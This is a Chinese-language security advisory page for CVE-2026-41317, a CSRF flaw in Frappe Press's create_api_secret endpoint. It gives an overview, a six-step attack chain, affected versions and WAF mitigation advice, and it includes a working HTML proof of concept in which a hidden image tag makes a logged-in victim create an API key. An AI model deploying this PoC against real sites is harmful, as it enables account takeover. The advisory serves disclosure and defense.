IPBUF安全漏洞报告
English
CVE-2026-41317 CVSS 7.5 高危

CVE-2026-41317 Frappe Press CSRF漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41317
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Frappe Press

相关标签

CSRFFrappe PressAPI漏洞CWE-352GET请求利用

漏洞概述

Frappe Press是用于管理Frappe Cloud基础设施、订阅及市场的自定义应用程序。该应用程序中的`press.api.account.create_api_secret`端点存在CSRF类漏洞。由于该端点负责创建API密钥等敏感操作,却错误地允许通过GET方法访问,攻击者可诱导已登录用户访问特制链接。浏览器会在用户无感知的情况下发送带有身份凭证的请求,导致服务器端执行数据库写入操作。此漏洞利用了GET请求的自动发起特性,无需复杂交互即可对系统完整性造成严重影响。

技术细节

该漏洞的核心机制在于对HTTP方法的不安全使用。在Web安全标准中,GET请求应当是幂等的,仅用于获取数据,而POST请求用于修改服务器状态。Frappe Press的`press.api.account.create_api_secret`接口在实现时未正确限制请求方法,允许通过GET触发创建API密钥的逻辑。攻击者只需构造一个包含恶意参数的URL(例如 `https://target/press/api/account/create_api_secret?params=...`),并通过社会工程学手段诱导受害者点击。由于浏览器在请求目标站点时会自动携带用户的Session Cookie,服务器端收到请求后无法区分这是用户的真实意愿还是恶意诱导,从而执行了创建密钥的操作。这种设计缺陷使得攻击者能够绕过同源策略的部分限制,以受害者身份执行特权操作。官方修复方案通过强制该接口仅接受POST请求,有效阻断此类攻击。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用的是存在漏洞的Frappe Press应用。
STEP 2
武器化
攻击者构造一个恶意的URL,指向`press.api.account.create_api_secret`端点,并包含必要的参数(如创建API密钥的参数)。
STEP 3
投递
攻击者通过电子邮件、即时通讯或钓鱼网站将恶意链接发送给拥有目标系统权限的受害者。
STEP 4
利用
受害者点击链接或访问页面,浏览器自动向目标服务器发送带有Session Cookie的GET请求。
STEP 5
执行
目标服务器接收请求,将其视为合法操作,并在数据库中创建新的API密钥。
STEP 6
达成目标
攻击者利用生成的API密钥接管受害者的账户或获取未授权的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-41317 --> <!-- Description: This HTML page demonstrates how an attacker can exploit the CSRF vulnerability via a GET request. --> <!-- Usage: Host this file and trick a logged-in admin/user into visiting it. --> <html> <body> <h1>Loading...</h1> <!-- The image tag attempts to load the URL, triggering the GET request with the user's cookies --> <img src="https://[target-domain]/press/api/account/create_api_secret?user=admin" width="0" height="0" style="display:none;" /> <script> // Alternative method using JavaScript to send the request // fetch('https://[target-domain]/press/api/account/create_api_secret?user=admin', { // method: 'GET', // credentials: 'include' // }); console.log("CSRF exploit attempt sent for CVE-2026-41317"); </script> </body> </html>

影响范围

Frappe Press (Versions prior to commit 52ea2f2d)

防御指南

临时缓解措施
如无法立即升级代码,建议在网络边界(如WAF或反向代理)上配置规则,拦截针对`/press/api/account/create_api_secret`路径的所有GET请求。同时,加强对该端点的访问日志监控,一旦发现异常的API密钥创建行为,应立即重置相关凭据并调查源头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表